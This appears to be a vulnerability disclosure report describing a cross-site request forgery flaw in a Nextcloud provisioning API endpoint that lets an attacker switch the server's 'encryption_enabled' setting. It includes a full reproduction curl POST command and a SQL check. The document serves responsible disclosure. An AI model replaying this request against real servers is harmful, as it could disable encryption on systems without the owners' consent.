CSRF vulnerability that allows an attacker to modify encryption settings

How it was found

The POST request to /ocs/v2.php/apps/provisioning_api/api/v1/config/apps/core/encryption_enabled is missing a unique token, so that if an attack can trick an admin user with an active session to visit an attacker controlled website, he/she can control the core application setting "encryption_enabled"

Steps to reproduce:

1. Set up a HTTP proxy between your browser and the Nextcloud server
2. Login to Nextcloud website
3. Go to HTTP proxy tool and copy the value of Cookie header from any request subsequent to login
4. Execute the following curl command by replacing <nextcloud_server> with Nextcloud server address and by replacing <cookies> with valid cookie values copied in step 3

curl -i -s -k -X $'POST' -H $'Host: <nextcloud_server>' -H $'Proxy-Connection: keep-alive' -H $'Content-Length: 10' -H $'Accept: /' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'OCS-APIREQUEST: true' -H $'Origin: http://<nextcloud_server>' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36' -H $'X-Requested-With: XMLHttpRequest' -H $'requesttoken: sSxMouPIwzbpI5ErZycXzGqCsOzacYntRk18kUOwin4=:gBUhzYWys3qhEqNPFE1frx663pq9BdjaKiwz5zfo6y4=' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9 ' -H $'Cookie: <cookies>' --data-binary $'value=no\x0d\x0a' $'http://<nextcloud_server>/ocs/v2.php/apps/provisioning_api/api/v1/config/apps/core/encryption_enabled'

5. Watch how the request executes successful every time it is executed. By modifying the value (--data-binary $'value=yes\x0d\x0a') and updating the Content-Length header accordingly, you can toggle the state of encryption_enabled setting.

6. You can verify the request was executed successfully by checking the value of "encryption_enabled" configkey in nextcloud database:

   select * from oc_appconfig where appid='core' and configkey='encryption_enabled';

Impact

An attacker can activate/deactivate the encryption_enabled setting